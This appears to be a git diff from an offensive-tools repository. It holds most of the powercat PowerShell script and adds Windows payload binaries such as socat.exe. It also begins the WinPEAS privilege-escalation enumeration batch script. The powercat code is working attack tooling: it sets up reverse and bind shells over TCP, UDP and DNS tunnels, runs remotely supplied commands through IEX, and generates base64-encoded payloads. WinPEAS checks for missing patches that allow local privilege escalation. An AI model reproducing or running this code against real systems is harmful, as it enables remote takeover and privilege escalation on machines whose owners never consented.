if($FuncVars["InputData"] -ne $null)
{
$Hex = (Invoke-Command $FuncVars["ConvertTo-HexArray"] -ArgumentList @($FuncVars["InputData"]))
$SectionCount = 0
$PacketCount = 0
foreach($Char in $Hex)
{
if($SectionCount -ge 30)
{
$SectionCount = 0
$PacketData += "."
}
if($PacketCount -ge ($FuncVars["MaxMSGDataSize"]))
{
$PacketsData += $PacketData.TrimEnd(".")
$PacketCount = 0
$SectionCount = 0
$PacketData = ""
}
$PacketData += $Char
$SectionCount += 2
$PacketCount += 2
}
$PacketData = $PacketData.TrimEnd(".")
$PacketsData += $PacketData
$FuncVars["InputData"] = ""
}
else
{
$PacketsData = @("")
}
[byte[]]$ReturningData = @()
foreach($PacketData in $PacketsData)
{
try{$MSGPacket = Invoke-Command $FuncVars["Create_MSG"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["SeqNum"],$FuncVars["AckNum"],$PacketData,$FuncVars["Tag"],$FuncVars["Domain"])}
catch{ Write-Verbose "DNSCAT2: Failed to create packet." ; $FuncVars["Failures"] += 1 ; continue }
try{$Packet = (Invoke-Command $FuncVars["SendPacket"] -ArgumentList @($MSGPacket,$FuncVars["DNSServer"],$FuncVars["DNSPort"]))}
catch{ Write-Verbose "DNSCAT2: Failed to send packet." ; $FuncVars["Failures"] += 1 ; continue }
try
{
$DecodedPacket = (Invoke-Command $FuncVars["DecodePacket"] -ArgumentList @($Packet))
if($DecodedPacket.Length -ne 4){ Write-Verbose "DNSCAT2: Failure to decode packet, dropping..."; $FuncVars["Failures"] += 1 ; continue }
$FuncVars["AckNum"] = $DecodedPacket[2]
$FuncVars["SeqNum"] = $DecodedPacket[3]
$ReturningData += $DecodedPacket[1]
}
catch{ Write-Verbose "DNSCAT2: Failure to decode packet, dropping..." ; $FuncVars["Failures"] += 1 ; continue }
if($DecodedPacket -eq 1){ Write-Verbose "DNSCAT2: Failure to decode packet, dropping..." ; $FuncVars["Failures"] += 1 ; continue }
}
if($FuncVars["Failures"] -ge $FuncVars["FailureThreshold"]){break}
if($ReturningData -ne @())
{
$FuncVars["AckNum"] = (Invoke-Command $FuncVars["AckData"] -ArgumentList @($ReturningData,$FuncVars["AckNum"]))
}
return $ReturningData,$FuncVars
}
function WriteData_DNS
{
param($Data,$FuncVars)
$FuncVars["InputData"] = $FuncVars["Encoding"].GetString($Data)
return $FuncVars
}
function Close_DNS
{
param($FuncVars)
$FINPacket = Invoke-Command $FuncVars["Create_FIN"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["Tag"],$FuncVars["Domain"])
Invoke-Command $FuncVars["SendPacket"] -ArgumentList @($FINPacket,$FuncVars["DNSServer"],$FuncVars["DNSPort"]) | Out-Null
}
############### DNS FUNCTIONS ###############
########## TCP FUNCTIONS ##########
function Setup_TCP
{
param($FuncSetupVars)
$c,$l,$p,$t = $FuncSetupVars
if($global:Verbose){$Verbose = $True}
$FuncVars = @{}
if(!$l)
{
$FuncVars["l"] = $False
$Socket = New-Object System.Net.Sockets.TcpClient
Write-Verbose "Connecting..."
$Handle = $Socket.BeginConnect($c,$p,$null,$null)
}
else
{
$FuncVars["l"] = $True
Write-Verbose ("Listening on [0.0.0.0] (port " + $p + ")")
$Socket = New-Object System.Net.Sockets.TcpListener $p
$Socket.Start()
$Handle = $Socket.BeginAcceptTcpClient($null, $null)
}
$Stopwatch = [System.Diagnostics.Stopwatch]::StartNew()
while($True)
{
if($Host.UI.RawUI.KeyAvailable)
{
if(@(17,27) -contains ($Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown,IncludeKeyUp").VirtualKeyCode))
{
Write-Verbose "CTRL or ESC caught. Stopping TCP Setup..."
if($FuncVars["l"]){$Socket.Stop()}
else{$Socket.Close()}
$Stopwatch.Stop()
break
}
}
if($Stopwatch.Elapsed.TotalSeconds -gt $t)
{
if(!$l){$Socket.Close()}
else{$Socket.Stop()}
$Stopwatch.Stop()
Write-Verbose "Timeout!" ; break
break
}
if($Handle.IsCompleted)
{
if(!$l)
{
try
{
$Socket.EndConnect($Handle)
$Stream = $Socket.GetStream()
$BufferSize = $Socket.ReceiveBufferSize
Write-Verbose ("Connection to " + $c + ":" + $p + " [tcp] succeeded!")
}
catch{$Socket.Close(); $Stopwatch.Stop(); break}
}
else
{
$Client = $Socket.EndAcceptTcpClient($Handle)
$Stream = $Client.GetStream()
$BufferSize = $Client.ReceiveBufferSize
Write-Verbose ("Connection from [" + $Client.Client.RemoteEndPoint.Address.IPAddressToString + "] port " + $port + " [tcp] accepted (source port " + $Client.Client.RemoteEndPoint.Port + ")")
}
break
}
}
$Stopwatch.Stop()
if($Socket -eq $null){break}
$FuncVars["Stream"] = $Stream
$FuncVars["Socket"] = $Socket
$FuncVars["BufferSize"] = $BufferSize
$FuncVars["StreamDestinationBuffer"] = (New-Object System.Byte[] $FuncVars["BufferSize"])
$FuncVars["StreamReadOperation"] = $FuncVars["Stream"].BeginRead($FuncVars["StreamDestinationBuffer"], 0, $FuncVars["BufferSize"], $null, $null)
$FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding
$FuncVars["StreamBytesRead"] = 1
return $FuncVars
}
function ReadData_TCP
{
param($FuncVars)
$Data = $null
if($FuncVars["StreamBytesRead"] -eq 0){break}
if($FuncVars["StreamReadOperation"].IsCompleted)
{
$StreamBytesRead = $FuncVars["Stream"].EndRead($FuncVars["StreamReadOperation"])
if($StreamBytesRead -eq 0){break}
$Data = $FuncVars["StreamDestinationBuffer"][0..([int]$StreamBytesRead-1)]
$FuncVars["StreamReadOperation"] = $FuncVars["Stream"].BeginRead($FuncVars["StreamDestinationBuffer"], 0, $FuncVars["BufferSize"], $null, $null)
}
return $Data,$FuncVars
}
function WriteData_TCP
{
param($Data,$FuncVars)
$FuncVars["Stream"].Write($Data, 0, $Data.Length)
return $FuncVars
}
function Close_TCP
{
param($FuncVars)
try{$FuncVars["Stream"].Close()}
catch{}
if($FuncVars["l"]){$FuncVars["Socket"].Stop()}
else{$FuncVars["Socket"].Close()}
}
########## TCP FUNCTIONS ##########
########## CMD FUNCTIONS ##########
function Setup_CMD
{
param($FuncSetupVars)
if($global:Verbose){$Verbose = $True}
$FuncVars = @{}
$ProcessStartInfo = New-Object System.Diagnostics.ProcessStartInfo
$ProcessStartInfo.FileName = $FuncSetupVars[0]
$ProcessStartInfo.UseShellExecute = $False
$ProcessStartInfo.RedirectStandardInput = $True
$ProcessStartInfo.RedirectStandardOutput = $True
$ProcessStartInfo.RedirectStandardError = $True
$FuncVars["Process"] = [System.Diagnostics.Process]::Start($ProcessStartInfo)
Write-Verbose ("Starting Process " + $FuncSetupVars[0] + "...")
$FuncVars["Process"].Start() | Out-Null
$FuncVars["StdOutDestinationBuffer"] = New-Object System.Byte[] 65536
$FuncVars["StdOutReadOperation"] = $FuncVars["Process"].StandardOutput.BaseStream.BeginRead($FuncVars["StdOutDestinationBuffer"], 0, 65536, $null, $null)
$FuncVars["StdErrDestinationBuffer"] = New-Object System.Byte[] 65536
$FuncVars["StdErrReadOperation"] = $FuncVars["Process"].StandardError.BaseStream.BeginRead($FuncVars["StdErrDestinationBuffer"], 0, 65536, $null, $null)
$FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding
return $FuncVars
}
function ReadData_CMD
{
param($FuncVars)
[byte[]]$Data = @()
if($FuncVars["StdOutReadOperation"].IsCompleted)
{
$StdOutBytesRead = $FuncVars["Process"].StandardOutput.BaseStream.EndRead($FuncVars["StdOutReadOperation"])
if($StdOutBytesRead -eq 0){break}
$Data += $FuncVars["StdOutDestinationBuffer"][0..([int]$StdOutBytesRead-1)]
$FuncVars["StdOutReadOperation"] = $FuncVars["Process"].StandardOutput.BaseStream.BeginRead($FuncVars["StdOutDestinationBuffer"], 0, 65536, $null, $null)
}
if($FuncVars["StdErrReadOperation"].IsCompleted)
{
$StdErrBytesRead = $FuncVars["Process"].StandardError.BaseStream.EndRead($FuncVars["StdErrReadOperation"])
if($StdErrBytesRead -eq 0){break}
$Data += $FuncVars["StdErrDestinationBuffer"][0..([int]$StdErrBytesRead-1)]
$FuncVars["StdErrReadOperation"] = $FuncVars["Process"].StandardError.BaseStream.BeginRead($FuncVars["StdErrDestinationBuffer"], 0, 65536, $null, $null)
}
return $Data,$FuncVars
}
function WriteData_CMD
{
param($Data,$FuncVars)
$FuncVars["Process"].StandardInput.WriteLine($FuncVars["Encoding"].GetString($Data).TrimEnd("`r").TrimEnd("`n"))
return $FuncVars
}
function Close_CMD
{
param($FuncVars)
$FuncVars["Process"] | Stop-Process
}
########## CMD FUNCTIONS ##########
########## POWERSHELL FUNCTIONS ##########
function Main_Powershell
{
param($Stream1SetupVars)
try
{
$encoding = New-Object System.Text.AsciiEncoding
[byte[]]$InputToWrite = @()
if($i -ne $null)
{
Write-Verbose "Input from -i detected..."
if(Test-Path $i){ [byte[]]$InputToWrite = ([io.file]::ReadAllBytes($i)) }
elseif($i.GetType().Name -eq "Byte[]"){ [byte[]]$InputToWrite = $i }
elseif($i.GetType().Name -eq "String"){ [byte[]]$InputToWrite = $Encoding.GetBytes($i) }
else{Write-Host "Unrecognised input type." ; return}
}
Write-Verbose "Setting up Stream 1... (ESC/CTRL to exit)"
try{$Stream1Vars = Stream1_Setup $Stream1SetupVars}
catch{Write-Verbose "Stream 1 Setup Failure" ; return}
Write-Verbose "Setting up Stream 2... (ESC/CTRL to exit)"
try
{
$IntroPrompt = $Encoding.GetBytes("Windows PowerShell`nCopyright (C) 2013 Microsoft Corporation. All rights reserved.`n`n" + ("PS " + (pwd).Path + "> "))
$Prompt = ("PS " + (pwd).Path + "> ")
$CommandToExecute = ""
$Data = $null
}
catch
{
Write-Verbose "Stream 2 Setup Failure" ; return
}
if($InputToWrite -ne @())
{
Write-Verbose "Writing input to Stream 1..."
try{$Stream1Vars = Stream1_WriteData $InputToWrite $Stream1Vars}
catch{Write-Host "Failed to write input to Stream 1" ; return}
}
if($d){Write-Verbose "-d (disconnect) Activated. Disconnecting..." ; return}
Write-Verbose "Both Communication Streams Established. Redirecting Data Between Streams..."
while($True)
{
try
{
##### Stream2 Read #####
$Prompt = $null
$ReturnedData = $null
if($CommandToExecute -ne "")
{
try{[byte[]]$ReturnedData = $Encoding.GetBytes((IEX $CommandToExecute 2>&1 | Out-String))}
catch{[byte[]]$ReturnedData = $Encoding.GetBytes(($_ | Out-String))}
$Prompt = $Encoding.GetBytes(("PS " + (pwd).Path + "> "))
}
$Data += $IntroPrompt
$IntroPrompt = $null
$Data += $ReturnedData
$Data += $Prompt
$CommandToExecute = ""
##### Stream2 Read #####
if($Data -ne $null){$Stream1Vars = Stream1_WriteData $Data $Stream1Vars}
$Data = $null
}
catch
{
Write-Verbose "Failed to redirect data from Stream 2 to Stream 1" ; return
}
try
{
$Data,$Stream1Vars = Stream1_ReadData $Stream1Vars
if($Data.Length -eq 0){Start-Sleep -Milliseconds 100}
if($Data -ne $null){$CommandToExecute = $Encoding.GetString($Data)}
$Data = $null
}
catch
{
Write-Verbose "Failed to redirect data from Stream 1 to Stream 2" ; return
}
}
}
finally
{
try
{
Write-Verbose "Closing Stream 1..."
Stream1_Close $Stream1Vars
}
catch
{
Write-Verbose "Failed to close Stream 1"
}
}
}
########## POWERSHELL FUNCTIONS ##########
########## CONSOLE FUNCTIONS ##########
function Setup_Console
{
param($FuncSetupVars)
$FuncVars = @{}
$FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding
$FuncVars["Output"] = $FuncSetupVars[0]
$FuncVars["OutputBytes"] = [byte[]]@()
$FuncVars["OutputString"] = ""
return $FuncVars
}
function ReadData_Console
{
param($FuncVars)
$Data = $null
if($Host.UI.RawUI.KeyAvailable)
{
$Data = $FuncVars["Encoding"].GetBytes((Read-Host) + "`n")
}
return $Data,$FuncVars
}
function WriteData_Console
{
param($Data,$FuncVars)
switch($FuncVars["Output"])
{
"Host" {Write-Host -n $FuncVars["Encoding"].GetString($Data)}
"String" {$FuncVars["OutputString"] += $FuncVars["Encoding"].GetString($Data)}
"Bytes" {$FuncVars["OutputBytes"] += $Data}
}
return $FuncVars
}
function Close_Console
{
param($FuncVars)
if($FuncVars["OutputString"] -ne ""){return $FuncVars["OutputString"]}
elseif($FuncVars["OutputBytes"] -ne @()){return $FuncVars["OutputBytes"]}
return
}
########## CONSOLE FUNCTIONS ##########
########## MAIN FUNCTION ##########
function Main
{
param($Stream1SetupVars,$Stream2SetupVars)
try
{
[byte[]]$InputToWrite = @()
$Encoding = New-Object System.Text.AsciiEncoding
if($i -ne $null)
{
Write-Verbose "Input from -i detected..."
if(Test-Path $i){ [byte[]]$InputToWrite = ([io.file]::ReadAllBytes($i)) }
elseif($i.GetType().Name -eq "Byte[]"){ [byte[]]$InputToWrite = $i }
elseif($i.GetType().Name -eq "String"){ [byte[]]$InputToWrite = $Encoding.GetBytes($i) }
else{Write-Host "Unrecognised input type." ; return}
}
Write-Verbose "Setting up Stream 1..."
try{$Stream1Vars = Stream1_Setup $Stream1SetupVars}
catch{Write-Verbose "Stream 1 Setup Failure" ; return}
Write-Verbose "Setting up Stream 2..."
try{$Stream2Vars = Stream2_Setup $Stream2SetupVars}
catch{Write-Verbose "Stream 2 Setup Failure" ; return}
$Data = $null
if($InputToWrite -ne @())
{
Write-Verbose "Writing input to Stream 1..."
try{$Stream1Vars = Stream1_WriteData $InputToWrite $Stream1Vars}
catch{Write-Host "Failed to write input to Stream 1" ; return}
}
if($d){Write-Verbose "-d (disconnect) Activated. Disconnecting..." ; return}
Write-Verbose "Both Communication Streams Established. Redirecting Data Between Streams..."
while($True)
{
try
{
$Data,$Stream2Vars = Stream2_ReadData $Stream2Vars
if(($Data.Length -eq 0) -or ($Data -eq $null)){Start-Sleep -Milliseconds 100}
if($Data -ne $null){$Stream1Vars = Stream1_WriteData $Data $Stream1Vars}
$Data = $null
}
catch
{
Write-Verbose "Failed to redirect data from Stream 2 to Stream 1" ; return
}
try
{
$Data,$Stream1Vars = Stream1_ReadData $Stream1Vars
if(($Data.Length -eq 0) -or ($Data -eq $null)){Start-Sleep -Milliseconds 100}
if($Data -ne $null){$Stream2Vars = Stream2_WriteData $Data $Stream2Vars}
$Data = $null
}
catch
{
Write-Verbose "Failed to redirect data from Stream 1 to Stream 2" ; return
}
}
}
finally
{
try
{
#Write-Verbose "Closing Stream 2..."
Stream2_Close $Stream2Vars
}
catch
{
Write-Verbose "Failed to close Stream 2"
}
try
{
#Write-Verbose "Closing Stream 1..."
Stream1_Close $Stream1Vars
}
catch
{
Write-Verbose "Failed to close Stream 1"
}
}
}
########## MAIN FUNCTION ##########
########## GENERATE PAYLOAD ##########
if($u)
{
Write-Verbose "Set Stream 1: UDP"
$FunctionString = ("function Stream1_Setup`n{`n" + ${function:Setup_UDP} + "`n}`n`n")
$FunctionString += ("function Stream1_ReadData`n{`n" + ${function:ReadData_UDP} + "`n}`n`n")
$FunctionString += ("function Stream1_WriteData`n{`n" + ${function:WriteData_UDP} + "`n}`n`n")
$FunctionString += ("function Stream1_Close`n{`n" + ${function:Close_UDP} + "`n}`n`n")
if($l){$InvokeString = "Main @('',`$True,'$p','$t') "}
else{$InvokeString = "Main @('$c',`$False,'$p','$t') "}
}
elseif($dns -ne "")
{
Write-Verbose "Set Stream 1: DNS"
$FunctionString = ("function Stream1_Setup`n{`n" + ${function:Setup_DNS} + "`n}`n`n")
$FunctionString += ("function Stream1_ReadData`n{`n" + ${function:ReadData_DNS} + "`n}`n`n")
$FunctionString += ("function Stream1_WriteData`n{`n" + ${function:WriteData_DNS} + "`n}`n`n")
$FunctionString += ("function Stream1_Close`n{`n" + ${function:Close_DNS} + "`n}`n`n")
if($l){return "This feature is not available."}
else{$InvokeString = "Main @('$c','$p','$dns',$dnsft) "}
}
else
{
Write-Verbose "Set Stream 1: TCP"
$FunctionString = ("function Stream1_Setup`n{`n" + ${function:Setup_TCP} + "`n}`n`n")
$FunctionString += ("function Stream1_ReadData`n{`n" + ${function:ReadData_TCP} + "`n}`n`n")
$FunctionString += ("function Stream1_WriteData`n{`n" + ${function:WriteData_TCP} + "`n}`n`n")
$FunctionString += ("function Stream1_Close`n{`n" + ${function:Close_TCP} + "`n}`n`n")
if($l){$InvokeString = "Main @('',`$True,$p,$t) "}
else{$InvokeString = "Main @('$c',`$False,$p,$t) "}
}
if($e -ne "")
{
Write-Verbose "Set Stream 2: Process"
$FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_CMD} + "`n}`n`n")
$FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_CMD} + "`n}`n`n")
$FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_CMD} + "`n}`n`n")
$FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_CMD} + "`n}`n`n")
$InvokeString += "@('$e')`n`n"
}
elseif($ep)
{
Write-Verbose "Set Stream 2: Powershell"
$InvokeString += "`n`n"
}
elseif($r -ne "")
{
if($r.split(":")[0].ToLower() -eq "udp")
{
Write-Verbose "Set Stream 2: UDP"
$FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_UDP} + "`n}`n`n")
$FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_UDP} + "`n}`n`n")
$FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_UDP} + "`n}`n`n")
$FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_UDP} + "`n}`n`n")
if($r.split(":").Count -eq 2){$InvokeString += ("@('',`$True,'" + $r.split(":")[1] + "','$t') ")}
elseif($r.split(":").Count -eq 3){$InvokeString += ("@('" + $r.split(":")[1] + "',`$False,'" + $r.split(":")[2] + "','$t') ")}
else{return "Bad relay format."}
}
if($r.split(":")[0].ToLower() -eq "dns")
{
Write-Verbose "Set Stream 2: DNS"
$FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_DNS} + "`n}`n`n")
$FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_DNS} + "`n}`n`n")
$FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_DNS} + "`n}`n`n")
$FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_DNS} + "`n}`n`n")
if($r.split(":").Count -eq 2){return "This feature is not available."}
elseif($r.split(":").Count -eq 4){$InvokeString += ("@('" + $r.split(":")[1] + "','" + $r.split(":")[2] + "','" + $r.split(":")[3] + "',$dnsft) ")}
else{return "Bad relay format."}
}
elseif($r.split(":")[0].ToLower() -eq "tcp")
{
Write-Verbose "Set Stream 2: TCP"
$FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_TCP} + "`n}`n`n")
$FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_TCP} + "`n}`n`n")
$FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_TCP} + "`n}`n`n")
$FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_TCP} + "`n}`n`n")
if($r.split(":").Count -eq 2){$InvokeString += ("@('',`$True,'" + $r.split(":")[1] + "','$t') ")}
elseif($r.split(":").Count -eq 3){$InvokeString += ("@('" + $r.split(":")[1] + "',`$False,'" + $r.split(":")[2] + "','$t') ")}
else{return "Bad relay format."}
}
}
else
{
Write-Verbose "Set Stream 2: Console"
$FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_Console} + "`n}`n`n")
$FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_Console} + "`n}`n`n")
$FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_Console} + "`n}`n`n")
$FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_Console} + "`n}`n`n")
$InvokeString += ("@('" + $o + "')")
}
if($ep){$FunctionString += ("function Main`n{`n" + ${function:Main_Powershell} + "`n}`n`n")}
else{$FunctionString += ("function Main`n{`n" + ${function:Main} + "`n}`n`n")}
$InvokeString = ($FunctionString + $InvokeString)
########## GENERATE PAYLOAD ##########
########## RETURN GENERATED PAYLOADS ##########
if($ge){Write-Verbose "Returning Encoded Payload..." ; return [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($InvokeString))}
elseif($g){Write-Verbose "Returning Payload..." ; return $InvokeString}
########## RETURN GENERATED PAYLOADS ##########
########## EXECUTION ##########
$Output = $null
try
{
if($rep)
{
while($True)
{
$Output += IEX $InvokeString
Start-Sleep -s 2
Write-Verbose "Repetition Enabled: Restarting..."
}
}
else
{
$Output += IEX $InvokeString
}
}
finally
{
if($Output -ne $null)
{
if($of -eq ""){$Output}
else{[io.file]::WriteAllBytes($of,$Output)}
}
}
########## EXECUTION ##########
}

View File

Binary file not shown.

BIN
payloads/windows/socat.exe Normal file
View File

Binary file not shown.

View File

Binary file not shown.

View File

@@ -0,0 +1,726 @@
@ECHO OFF & SETLOCAL EnableDelayedExpansion
TITLE WinPEAS - Windows local Privilege Escalation Awesome Script
COLOR 0F
CALL :SetOnce
REM :: WinPEAS - Windows local Privilege Escalation Awesome Script
REM :: Code by carlospolop; Re-Write by ThisLimn0
REM Registry scan of other drives besides
REM /////true or false
SET long=false
REM Check if the current path contains spaces
SET "CurrentFolder=%~dp0"
IF "!CurrentFolder!" NEQ "!CurrentFolder: =!" (
ECHO winPEAS.bat cannot run if the current path contains spaces.
ECHO Exiting.
EXIT /B 1
)
:Splash
ECHO.
CALL :ColorLine " %E%32m((,.,/((((((((((((((((((((/, */%E%97m"
CALL :ColorLine " %E%32m,/*,..*(((((((((((((((((((((((((((((((((,%E%97m"
CALL :ColorLine " %E%32m,*/((((((((((((((((((/, %E%92m.*//((//**,%E%32m .*((((((*%E%97m"
CALL :ColorLine " %E%32m((((((((((((((((* %E%94m*****%E%32m,,,/########## %E%32m.(* ,((((((%E%97m"
CALL :ColorLine " %E%32m(((((((((((/* %E%94m******************%E%32m/####### %E%32m.(. ((((((%E%97m"
CALL :ColorLine " %E%32m((((((.%E%92m.%E%94m******************%E%97m/@@@@@/%E%94m***%E%92m/######%E%32m /((((((%E%97m"
CALL :ColorLine " %E%32m,,.%E%92m.%E%94m**********************%E%97m@@@@@@@@@@(%E%94m***%E%92m,####%E%32m ../(((((%E%97m"
CALL :ColorLine " %E%32m, ,%E%92m%E%94m**********************%E%97m#@@@@@#@@@@%E%94m*********%E%92m##%E%32m((/ /((((%E%97m"
CALL :ColorLine " %E%32m..((%E%92m(##########%E%94m*********%E%97m/#@@@@@@@@@/%E%94m*************%E%32m,,..((((%E%97m"
CALL :ColorLine " %E%32m.((%E%92m(################(/%E%94m******%E%97m/@@@@@#%E%94m****************%E%32m.. /((%E%97m"
CALL :ColorLine " %E%32m.(%E%92m(########################(/%E%94m************************%E%32m..*(%E%97m"
CALL :ColorLine " %E%32m.(%E%92m(#############################(/%E%94m********************%E%32m.,(%E%97m"
CALL :ColorLine " %E%32m.(%E%92m(##################################(/%E%94m***************%E%32m..(%E%97m"
CALL :ColorLine " %E%32m.(%E%92m(######################################(%E%94m************%E%32m..(%E%97m"
CALL :ColorLine " %E%32m.(%E%92m(######(,.***.,(###################(..***(/%E%94m*********%E%32m..(%E%97m"
CALL :ColorLine " %E%32m.(%E%92m(######*(#####((##################((######/(%E%94m********%E%32m..(%E%97m"
CALL :ColorLine " %E%32m.(%E%92m(##################(/**********(################(%E%94m**%E%32m...(%E%97m"
CALL :ColorLine " %E%32m.((%E%92m(####################/*******(###################%E%32m.((((%E%97m"
CALL :ColorLine " %E%32m.((((%E%92m(############################################/%E%32m /((%E%97m"
CALL :ColorLine " %E%32m..((((%E%92m(#########################################(%E%32m..(((((.%E%97m"
CALL :ColorLine " %E%32m....((((%E%92m(#####################################(%E%32m .((((((.%E%97m"
CALL :ColorLine " %E%32m......((((%E%92m(#################################(%E%32m .(((((((.%E%97m"
CALL :ColorLine " %E%32m(((((((((. ,%E%92m(############################(%E%32m../(((((((((.%E%97m"
CALL :ColorLine " %E%32m(((((((((/, %E%92m,####################(%E%32m/..((((((((((.%E%97m"
CALL :ColorLine " %E%32m(((((((((/,. %E%92m,*//////*,.%E%32m ./(((((((((((.%E%97m"
CALL :ColorLine " %E%32m(((((((((((((((((((((((((((/%E%97m"
ECHO. by carlospolop
ECHO.
ECHO.
:Advisory
REM // Increase progress in title by n percent
CALL :T_Progress 0
ECHO./^^!\ Advisory: WinPEAS - Windows local Privilege Escalation Awesome Script
CALL :ColorLine " %E%41mWinPEAS should be used for authorized penetration testing and/or educational purposes only.%E%40;97m"
CALL :ColorLine " %E%41mAny misuse of this software will not be the responsibility of the author or of any other collaborator.%E%40;97m"
CALL :ColorLine " %E%41mUse it at your own networks and/or with the network owner's permission.%E%40;97m"
ECHO.
ECHO. [i] Best Linux PE and hardening course: https://hacktricks-training.com/courses/lhe/
ECHO.
:SystemInfo
CALL :ColorLine "%E%32m[*]%E%97m BASIC SYSTEM INFO"
CALL :ColorLine " %E%33m[+]%E%97m WINDOWS OS"
ECHO. [i] Check for vulnerabilities for the OS version with the applied patches
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#version-exploits
systeminfo
ECHO.
CALL :T_Progress 2
:ListHotFixes
where wmic >nul 2>&1
if %errorlevel% equ 0 (
wmic qfe get Caption,Description,HotFixID,InstalledOn
) else (
powershell -command "Get-HotFix | Format-Table -AutoSize"
)
set expl=no
for /f "tokens=3-9" %%a in ('systeminfo') do (ECHO."%%a %%b %%c %%d %%e %%f %%g" | findstr /i "2000 XP 2003 2008 vista" && set expl=yes) & (ECHO."%%a %%b %%c %%d %%e %%f %%g" | findstr /i /C:"windows 7" && set expl=yes)
IF "%expl%" == "yes" ECHO. [i] Possible exploits (https://github.com/codingo/OSCP-2/blob/master/Windows/WinPrivCheck.bat)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB2592799" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS11-080 patch is NOT installed! (Vulns: XP/SP3,2K3/SP3-afd.sys)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB3143141" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS16-032 patch is NOT installed! (Vulns: 2K8/SP1/2,Vista/SP2,7/SP1-secondary logon)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB2393802" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS11-011 patch is NOT installed! (Vulns: XP/SP2/3,2K3/SP2,2K8/SP2,Vista/SP1/2,7/SP0-WmiTraceMessageVa)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB982799" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS10-59 patch is NOT installed! (Vulns: 2K8,Vista,7/SP0-Chimichurri)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB979683" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS10-21 patch is NOT installed! (Vulns: 2K/SP4,XP/SP2/3,2K3/SP2,2K8/SP2,Vista/SP0/1/2,7/SP0-Win Kernel)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB2305420" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS10-092 patch is NOT installed! (Vulns: 2K8/SP0/1/2,Vista/SP1/2,7/SP0-Task Sched)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB981957" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS10-073 patch is NOT installed! (Vulns: XP/SP2/3,2K3/SP2/2K8/SP2,Vista/SP1/2,7/SP0-Keyboard Layout)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB4013081" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS17-017 patch is NOT installed! (Vulns: 2K8/SP2,Vista/SP2,7/SP1-Registry Hive Loading)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB977165" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS10-015 patch is NOT installed! (Vulns: 2K,XP,2K3,2K8,Vista,7-User Mode to Ring)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB941693" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS08-025 patch is NOT installed! (Vulns: 2K/SP4,XP/SP2,2K3/SP1/2,2K8/SP0,Vista/SP0/1-win32k.sys)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB920958" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS06-049 patch is NOT installed! (Vulns: 2K/SP4-ZwQuerySysInfo)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB914389" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS06-030 patch is NOT installed! (Vulns: 2K,XP/SP2-Mrxsmb.sys)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB908523" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS05-055 patch is NOT installed! (Vulns: 2K/SP4-APC Data-Free)
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB890859" 1>NUL
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS05-018 patch is NOT installed! (Vulns: 2K/SP3/4,XP/SP1/2-CSRSS)
